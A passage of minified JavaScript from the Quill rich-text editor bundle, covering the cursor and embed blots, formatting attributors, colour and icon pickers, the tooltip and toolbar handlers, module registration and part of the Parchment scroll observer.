this._length}},{key:"position",value:function(){return[this.textNode,this.textNode.data.length]}},{key:"remove",value:function(){s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"remove",this).call(this),this.parent=null}},{key:"restore",value:function(){if(!this.selection.composing&&null!=this.parent){var t=this.textNode,n=this.selection.getNativeRange(),r=void 0,o=void 0,i=void 0;if(null!=n&&n.start.node===t&&n.end.node===t){var l=[t,n.start.offset,n.end.offset];r=l[0],o=l[1],i=l[2]}for(;null!=this.domNode.lastChild&&this.domNode.lastChild!==this.textNode;)this.domNode.parentNode.insertBefore(this.domNode.lastChild,this.domNode);if(this.textNode.data!==e.CONTENTS){var s=this.textNode.data.split(e.CONTENTS).join("");this.next instanceof p.default?(r=this.next.domNode,this.next.insertAt(0,s),this.textNode.data=e.CONTENTS):(this.textNode.data=s,this.parent.insertBefore(f.default.create(this.textNode),this),this.textNode=document.createTextNode(e.CONTENTS),this.domNode.appendChild(this.textNode))}if(this.remove(),null!=o){var u=[o,i].map(function(t){return Math.max(0,Math.min(r.data.length,t-1))}),c=a(u,2);return o=c[0],i=c[1],{startNode:r,startOffset:o,endNode:r,endOffset:i}}}}},{key:"update",value:function(t,e){var n=this;if(t.some(function(t){return"characterData"===t.type&&t.target===n.textNode})){var r=this.restore();r&&(e.range=r)}}},{key:"value",value:function(){return""}}]),e}(f.default.Embed);d.blotName="cursor",d.className="ql-cursor",d.tagName="span",d.CONTENTS="\ufeff",e.default=d},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{value:!0});var o=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),i=function(){function t(e,n){r(this,t),this.quill=e,this.options=n,this.modules={}}return o(t,[{key:"init",value:function(){var t=this;Object.keys(this.options.modules).forEach(function(e){null==t.modules[e]&&t.addModule(e)})}},{key:"addModule",value:function(t){var e=this.quill.constructor.import("modules/"+t);return this.modules[t]=new e(this.quill,this.options.modules[t]||{}),this.modules[t]}}]),t}();i.DEFAULTS={modules:{}},i.themes={default:i},e.default=i},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(0),c=r(u),f=n(8),h=r(f),p="\ufeff",d=function(t){function e(t){o(this,e);var n=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return n.contentNode=document.createElement("span"),n.contentNode.setAttribute("contenteditable",!1),[].slice.call(n.domNode.childNodes).forEach(function(t){n.contentNode.appendChild(t)}),n.leftGuard=document.createTextNode(p),n.rightGuard=document.createTextNode(p),n.domNode.appendChild(n.leftGuard),n.domNode.appendChild(n.contentNode),n.domNode.appendChild(n.rightGuard),n}return l(e,t),a(e,[{key:"index",value:function(t,n){return t===this.leftGuard?0:t===this.rightGuard?1:s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"index",this).call(this,t,n)}},{key:"restore",value:function(t){var e=void 0,n=void 0,r=t.data.split(p).join("");if(t===this.leftGuard)if(this.prev instanceof h.default){var o=this.prev.length();this.prev.insertAt(o,r),e={startNode:this.prev.domNode,startOffset:o+r.length}}else n=document.createTextNode(r),this.parent.insertBefore(c.default.create(n),this),e={startNode:n,startOffset:r.length};else t===this.rightGuard&&(this.next instanceof h.default?(this.next.insertAt(0,r),e={startNode:this.next.domNode,startOffset:r.length}):(n=document.createTextNode(r),this.parent.insertBefore(c.default.create(n),this.next),e={startNode:n,startOffset:r.length}));return t.data=p,e}},{key:"update",value:function(t,e){var n=this;t.forEach(function(t){if("characterData"===t.type&&(t.target===n.leftGuard||t.target===n.rightGuard)){var r=n.restore(t.target);r&&(e.range=r)}})}}]),e}(c.default.Embed);e.default=d},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.AlignStyle=e.AlignClass=e.AlignAttribute=void 0;var r=n(0),o=function(t){return t&&t.__esModule?t:{default:t}}(r),i={scope:o.default.Scope.BLOCK,whitelist:["right","center","justify"]},l=new o.default.Attributor.Attribute("align","align",i),a=new o.default.Attributor.Class("align","ql-align",i),s=new o.default.Attributor.Style("align","text-align",i);e.AlignAttribute=l,e.AlignClass=a,e.AlignStyle=s},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.BackgroundStyle=e.BackgroundClass=void 0;var r=n(0),o=function(t){return t&&t.__esModule?t:{default:t}}(r),i=n(24),l=new o.default.Attributor.Class("background","ql-bg",{scope:o.default.Scope.INLINE}),a=new i.ColorAttributor("background","background-color",{scope:o.default.Scope.INLINE});e.BackgroundClass=l,e.BackgroundStyle=a},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.DirectionStyle=e.DirectionClass=e.DirectionAttribute=void 0;var r=n(0),o=function(t){return t&&t.__esModule?t:{default:t}}(r),i={scope:o.default.Scope.BLOCK,whitelist:["rtl"]},l=new o.default.Attributor.Attribute("direction","dir",i),a=new o.default.Attributor.Class("direction","ql-direction",i),s=new o.default.Attributor.Style("direction","direction",i);e.DirectionAttribute=l,e.DirectionClass=a,e.DirectionStyle=s},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.FontClass=e.FontStyle=void 0;var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(0),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c={scope:u.default.Scope.INLINE,whitelist:["serif","monospace"]},f=new u.default.Attributor.Class("font","ql-font",c),h=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"value",value:function(t){return a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"value",this).call(this,t).replace(/["']/g,"")}}]),e}(u.default.Attributor.Style),p=new h("font","font-family",c);e.FontStyle=p,e.FontClass=f},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.SizeStyle=e.SizeClass=void 0;var r=n(0),o=function(t){return t&&t.__esModule?t:{default:t}}(r),i=new o.default.Attributor.Class("size","ql-size",{scope:o.default.Scope.INLINE,whitelist:["small","large","huge"]}),l=new o.default.Attributor.Style("size","font-size",{scope:o.default.Scope.INLINE,whitelist:["10px","18px","32px"]});e.SizeClass=i,e.SizeStyle=l},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(5),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"optimize",value:function(t){a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t),this.domNode.tagName!==this.statics.tagName[0]&&this.replaceWith(this.statics.blotName)}}],[{key:"create",value:function(){return a(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this)}},{key:"formats",value:function(){return!0}}]),e}(u.default);c.blotName="bold",c.tagName=["STRONG","B"],e.default=c},function(t,e){t.exports='<svg viewbox="0 0 18 18"> <polyline class="ql-even ql-stroke" points="5 7 3 9 5 11"></polyline> <polyline class="ql-even ql-stroke" points="13 7 15 9 13 11"></polyline> <line class=ql-stroke x1=10 x2=8 y1=5 y2=13></line> </svg>'},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(16),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(t,n){r(this,e);var i=o(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return i.label.innerHTML=n,i.container.classList.add("ql-color-picker"),[].slice.call(i.container.querySelectorAll(".ql-picker-item"),0,7).forEach(function(t){t.classList.add("ql-primary")}),i}return i(e,t),l(e,[{key:"buildItem",value:function(t){var n=a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"buildItem",this).call(this,t);return n.style.backgroundColor=t.getAttribute("value")||"",n}},{key:"selectItem",value:function(t,n){a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"selectItem",this).call(this,t,n);var r=this.label.querySelector(".ql-color-label"),o=t?t.getAttribute("data-value")||"":"";r&&("line"===r.tagName?r.style.stroke=o:r.style.fill=o)}}]),e}(u.default);e.default=c},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(16),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(t,n){r(this,e);var i=o(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return i.container.classList.add("ql-icon-picker"),[].forEach.call(i.container.querySelectorAll(".ql-picker-item"),function(t){t.innerHTML=n[t.getAttribute("data-value")||""]}),i.defaultItem=i.container.querySelector(".ql-selected"),i.selectItem(i.defaultItem),i}return i(e,t),l(e,[{key:"selectItem",value:function(t,n){a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"selectItem",this).call(this,t,n),t=t||this.defaultItem,this.label.innerHTML=t.innerHTML}}]),e}(u.default);e.default=c},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{value:!0});var o=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),i=function(){function t(e,n){var o=this;r(this,t),this.quill=e,this.boundsContainer=n||document.body,this.root=e.addContainer("ql-tooltip"),this.root.innerHTML=this.constructor.TEMPLATE,this.quill.root===this.quill.scrollingContainer&&this.quill.root.addEventListener("scroll",function(){o.root.style.marginTop=-1*o.quill.root.scrollTop+"px"}),this.hide()}return o(t,[{key:"hide",value:function(){this.root.classList.add("ql-hidden")}},{key:"position",value:function(t){var e=t.left+t.width/2-this.root.offsetWidth/2,n=t.bottom+this.quill.root.scrollTop;this.root.style.left=e+"px",this.root.style.top=n+"px",this.root.classList.remove("ql-flip");var r=this.boundsContainer.getBoundingClientRect(),o=this.root.getBoundingClientRect(),i=0;if(o.right>r.right&&(i=r.right-o.right,this.root.style.left=e+i+"px"),o.left<r.left&&(i=r.left-o.left,this.root.style.left=e+i+"px"),o.bottom>r.bottom){var l=o.bottom-o.top,a=t.bottom-t.top+l;this.root.style.top=n-a+"px",this.root.classList.add("ql-flip")}return i}},{key:"show",value:function(){this.root.classList.remove("ql-editing"),this.root.classList.remove("ql-hidden")}}]),t}();e.default=i},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function a(t){var e=t.match(/^(?:(https?):\/\/)?(?:(?:www|m)\.)?youtube\.com\/watch.*v=([a-zA-Z0-9_-]+)/)||t.match(/^(?:(https?):\/\/)?(?:(?:www|m)\.)?youtu\.be\/([a-zA-Z0-9_-]+)/);return e?(e[1]||"https")+"://www.youtube.com/embed/"+e[2]+"?showinfo=0":(e=t.match(/^(?:(https?):\/\/)?(?:www\.)?vimeo\.com\/(\d+)/))?(e[1]||"https")+"://player.vimeo.com/video/"+e[2]+"/":t}function s(t,e){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];e.forEach(function(e){var r=document.createElement("option");e===n?r.setAttribute("selected","selected"):r.setAttribute("value",e),t.appendChild(r)})}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.BaseTooltip=void 0;var u=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},f=n(2),h=r(f),p=n(4),d=r(p),y=n(9),v=r(y),b=n(25),g=r(b),m=n(32),_=r(m),O=n(41),w=r(O),x=n(42),k=r(x),E=n(16),N=r(E),j=n(43),A=r(j),q=[!1,"center","right","justify"],T=["#000000","#e60000","#ff9900","#ffff00","#008a00","#0066cc","#9933ff","#ffffff","#facccc","#ffebcc","#ffffcc","#cce8cc","#cce0f5","#ebd6ff","#bbbbbb","#f06666","#ffc266","#ffff66","#66b966","#66a3e0","#c285ff","#888888","#a10000","#b26b00","#b2b200","#006100","#0047b2","#6b24b2","#444444","#5c0000","#663d00","#666600","#003700","#002966","#3d1466"],P=[!1,"serif","monospace"],S=["1","2","3",!1],C=["small",!1,"large","huge"],L=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n)),l=function e(n){if(!document.body.contains(t.root))return document.body.removeEventListener("click",e);null==r.tooltip||r.tooltip.root.contains(n.target)||document.activeElement===r.tooltip.textbox||r.quill.hasFocus()||r.tooltip.hide(),null!=r.pickers&&r.pickers.forEach(function(t){t.container.contains(n.target)||t.close()})};return t.emitter.listenDOM("click",document.body,l),r}return l(e,t),u(e,[{key:"addModule",value:function(t){var n=c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"addModule",this).call(this,t);return"toolbar"===t&&this.extendToolbar(n),n}},{key:"buildButtons",value:function(t,e){t.forEach(function(t){(t.getAttribute("class")||"").split(/\s+/).forEach(function(n){if(n.startsWith("ql-")&&(n=n.slice("ql-".length),null!=e[n]))if("direction"===n)t.innerHTML=e[n][""]+e[n].rtl;else if("string"==typeof e[n])t.innerHTML=e[n];else{var r=t.value||"";null!=r&&e[n][r]&&(t.innerHTML=e[n][r])}})})}},{key:"buildPickers",value:function(t,e){var n=this;this.pickers=t.map(function(t){if(t.classList.contains("ql-align"))return null==t.querySelector("option")&&s(t,q),new k.default(t,e.align);if(t.classList.contains("ql-background")||t.classList.contains("ql-color")){var n=t.classList.contains("ql-background")?"background":"color";return null==t.querySelector("option")&&s(t,T,"background"===n?"#ffffff":"#000000"),new w.default(t,e[n])}return null==t.querySelector("option")&&(t.classList.contains("ql-font")?s(t,P):t.classList.contains("ql-header")?s(t,S):t.classList.contains("ql-size")&&s(t,C)),new N.default(t)});var r=function(){n.pickers.forEach(function(t){t.update()})};this.quill.on(v.default.events.EDITOR_CHANGE,r)}}]),e}(_.default);L.DEFAULTS=(0,h.default)(!0,{},_.default.DEFAULTS,{modules:{toolbar:{handlers:{formula:function(){this.quill.theme.tooltip.edit("formula")},image:function(){var t=this,e=this.container.querySelector("input.ql-image[type=file]");null==e&&(e=document.createElement("input"),e.setAttribute("type","file"),e.setAttribute("accept","image/png, image/gif, image/jpeg, image/bmp, image/x-icon"),e.classList.add("ql-image"),e.addEventListener("change",function(){if(null!=e.files&&null!=e.files[0]){var n=new FileReader;n.onload=function(n){var r=t.quill.getSelection(!0);t.quill.updateContents((new d.default).retain(r.index).delete(r.length).insert({image:n.target.result}),v.default.sources.USER),t.quill.setSelection(r.index+1,v.default.sources.SILENT),e.value=""},n.readAsDataURL(e.files[0])}}),this.container.appendChild(e)),e.click()},video:function(){this.quill.theme.tooltip.edit("video")}}}}});var M=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.textbox=r.root.querySelector('input[type="text"]'),r.listen(),r}return l(e,t),u(e,[{key:"listen",value:function(){var t=this;this.textbox.addEventListener("keydown",function(e){g.default.match(e,"enter")?(t.save(),e.preventDefault()):g.default.match(e,"escape")&&(t.cancel(),e.preventDefault())})}},{key:"cancel",value:function(){this.hide()}},{key:"edit",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"link",e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;this.root.classList.remove("ql-hidden"),this.root.classList.add("ql-editing"),null!=e?this.textbox.value=e:t!==this.root.getAttribute("data-mode")&&(this.textbox.value=""),this.position(this.quill.getBounds(this.quill.selection.savedRange)),this.textbox.select(),this.textbox.setAttribute("placeholder",this.textbox.getAttribute("data-"+t)||""),this.root.setAttribute("data-mode",t)}},{key:"restoreFocus",value:function(){var t=this.quill.scrollingContainer.scrollTop;this.quill.focus(),this.quill.scrollingContainer.scrollTop=t}},{key:"save",value:function(){var t=this.textbox.value;switch(this.root.getAttribute("data-mode")){case"link":var e=this.quill.root.scrollTop;this.linkRange?(this.quill.formatText(this.linkRange,"link",t,v.default.sources.USER),delete this.linkRange):(this.restoreFocus(),this.quill.format("link",t,v.default.sources.USER)),this.quill.root.scrollTop=e;break;case"video":t=a(t);case"formula":if(!t)break;var n=this.quill.getSelection(!0);if(null!=n){var r=n.index+n.length;this.quill.insertEmbed(r,this.root.getAttribute("data-mode"),t,v.default.sources.USER),"formula"===this.root.getAttribute("data-mode")&&this.quill.insertText(r+1," ",v.default.sources.USER),this.quill.setSelection(r+2,v.default.sources.USER)}}this.textbox.value="",this.hide()}}]),e}(A.default);e.BaseTooltip=M,e.default=L},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}Object.defineProperty(e,"__esModule",{value:!0});var o=n(46),i=r(o),l=n(34),a=n(36),s=n(62),u=n(63),c=r(u),f=n(64),h=r(f),p=n(65),d=r(p),y=n(35),v=n(24),b=n(37),g=n(38),m=n(39),_=r(m),O=n(66),w=r(O),x=n(15),k=r(x),E=n(67),N=r(E),j=n(68),A=r(j),q=n(69),T=r(q),P=n(70),S=r(P),C=n(71),L=r(C),M=n(13),R=r(M),I=n(72),B=r(I),D=n(73),U=r(D),F=n(74),H=r(F),K=n(26),z=r(K),Z=n(16),V=r(Z),W=n(41),G=r(W),Y=n(42),X=r(Y),$=n(43),Q=r($),J=n(107),tt=r(J),et=n(108),nt=r(et);i.default.register({"attributors/attribute/direction":a.DirectionAttribute,"attributors/class/align":l.AlignClass,"attributors/class/background":y.BackgroundClass,"attributors/class/color":v.ColorClass,"attributors/class/direction":a.DirectionClass,"attributors/class/font":b.FontClass,"attributors/class/size":g.SizeClass,"attributors/style/align":l.AlignStyle,"attributors/style/background":y.BackgroundStyle,"attributors/style/color":v.ColorStyle,"attributors/style/direction":a.DirectionStyle,"attributors/style/font":b.FontStyle,"attributors/style/size":g.SizeStyle},!0),i.default.register({"formats/align":l.AlignClass,"formats/direction":a.DirectionClass,"formats/indent":s.IndentClass,"formats/background":y.BackgroundStyle,"formats/color":v.ColorStyle,"formats/font":b.FontClass,"formats/size":g.SizeClass,"formats/blockquote":c.default,"formats/code-block":R.default,"formats/header":h.default,"formats/list":d.default,"formats/bold":_.default,"formats/code":M.Code,"formats/italic":w.default,"formats/link":k.default,"formats/script":N.default,"formats/strike":A.default,"formats/underline":T.default,"formats/image":S.default,"formats/video":L.default,"formats/list/item":p.ListItem,"modules/formula":B.default,"modules/syntax":U.default,"modules/toolbar":H.default,"themes/bubble":tt.default,"themes/snow":nt.default,"ui/icons":z.default,"ui/picker":V.default,"ui/icon-picker":X.default,"ui/color-picker":G.default,"ui/tooltip":Q.default},!0),e.default=i.default},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}Object.defineProperty(e,"__esModule",{value:!0});var o=n(0),i=r(o),l=n(6),a=r(l),s=n(3),u=r(s),c=n(14),f=r(c),h=n(23),p=r(h),d=n(31),y=r(d),v=n(33),b=r(v),g=n(5),m=r(g),_=n(59),O=r(_),w=n(8),x=r(w),k=n(60),E=r(k),N=n(61),j=r(N),A=n(25),q=r(A);a.default.register({"blots/block":u.default,"blots/block/embed":s.BlockEmbed,"blots/break":f.default,"blots/container":p.default,"blots/cursor":y.default,"blots/embed":b.default,"blots/inline":m.default,"blots/scroll":O.default,"blots/text":x.default,"modules/clipboard":E.default,"modules/history":j.default,"modules/keyboard":q.default}),i.default.register(u.default,f.default,y.default,m.default,O.default,x.default),e.default=a.default},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=function(){function t(){this.head=this.tail=null,this.length=0}return t.prototype.append=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this.insertBefore(t[0],null),t.length>1&&this.append.apply(this,t.slice(1))},t.prototype.contains=function(t){for(var e,n=this.iterator();e=n();)if(e===t)return!0;return!1},t.prototype.insertBefore=function(t,e){t&&(t.next=e,null!=e?(t.prev=e.prev,null!=e.prev&&(e.prev.next=t),e.prev=t,e===this.head&&(this.head=t)):null!=this.tail?(this.tail.next=t,t.prev=this.tail,this.tail=t):(t.prev=null,this.head=this.tail=t),this.length+=1)},t.prototype.offset=function(t){for(var e=0,n=this.head;null!=n;){if(n===t)return e;e+=n.length(),n=n.next}return-1},t.prototype.remove=function(t){this.contains(t)&&(null!=t.prev&&(t.prev.next=t.next),null!=t.next&&(t.next.prev=t.prev),t===this.head&&(this.head=t.next),t===this.tail&&(this.tail=t.prev),this.length-=1)},t.prototype.iterator=function(t){return void 0===t&&(t=this.head),function(){var e=t;return null!=t&&(t=t.next),e}},t.prototype.find=function(t,e){void 0===e&&(e=!1);for(var n,r=this.iterator();n=r();){var o=n.length();if(t<o||e&&t===o&&(null==n.next||0!==n.next.length()))return[n,t];t-=o}return[null,0]},t.prototype.forEach=function(t){for(var e,n=this.iterator();e=n();)t(e)},t.prototype.forEachAt=function(t,e,n){if(!(e<=0))for(var r,o=this.find(t),i=o[0],l=o[1],a=t-l,s=this.iterator(i);(r=s())&&a<t+e;){var u=r.length();t>a?n(r,t-a,Math.min(e,a+u-t)):n(r,0,Math.min(u,t+e-a)),a+=u}},t.prototype.map=function(t){return this.reduce(function(e,n){return e.push(t(n)),e},[])},t.prototype.reduce=function(t,e){for(var n,r=this.iterator();n=r();)e=t(e,n);return e},t}();e.default=r},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(17),i=n(1),l={attributes:!0,characterData:!0,characterDataOldValue:!0,childList:!0,subtree:!0},a=function(t){function e(e){var n=t.call(this,e)||this;return n.scroll=n,n.observer=new MutationObserver(function(t){n.update(t)}),n.observer.observe(n.domNode,l),n.attach(),n}return r(e,t),e.prototype.detach=function(){t.prototype.detach.call(this),this.observer.disconnect()},e.prototype.deleteAt=function(e,n){this.update(),0===e&&n===this.length()?this.children.forEach(function(t){t.remove()}):t.prototype.deleteAt.call(this,e,n)},e.prototype.formatAt=function(e,n,r,o){this.update(),t.prototype.formatAt.call(this,e,n,r,o)},e.prototype.insertAt=function(e,n,r){this.update(),t.prototype.insertAt.call(this,e,n,r)},e.prototype.optimize=function(e,n){var r=this;void 0===e&&(e=[]),void 0===n&&(n={}),t.prototype.optimize.call(this,n);for(var l=[].slice.call(this.observer.takeRecords());l.length>0;)e.push(l.pop());for(var a=function(t,e){void 0===e&&(e=!0),null!=t&&t!==r&&null!=t.domNode.parentNode&&(null==t.domNode[i.DATA_KEY].mutations&&(t.domNode[i.DATA_KEY].mutations=[]),e&&a(t.parent))},s=function(t){null!=t.domNode[i.DATA_KEY]&&null!=t.domNode[i.DATA_KEY].mutations&&(t instanceof o.default&&t.children.forEach(s),t.optimize(n))},u=e,c=0;u.length>0;c+=1){if(c>=100)throw new Error("[Parchment] Maximum optimize iterations reached");for(u.forEach(function(t){var e=i.find(t.target,!0);null!=e&&(e.domNode===t.target&&("childList"===t.type?(a(i.find(t.previousSibling,!1)),[].forEach.call(t.addedNodes,function(t){var e=i.find(t,!1);a(e,!1),e instanceof o.default&&e.children.forEach(function(t){a(t,!1)})})):"attributes"===t.type&&a(e.prev)),a(e))}),this.children.forEach(s),u=[].slice.call(this.observer.takeRecords()),l=u.slice();l.length>0;)e.push(l.pop())}},e.prototype.update=function(e,n){var r=this;void 0===n&&(n={}),e=e||this.observer.takeRecords(),e.map(function(t){var e=i.find(t.target,!0);return 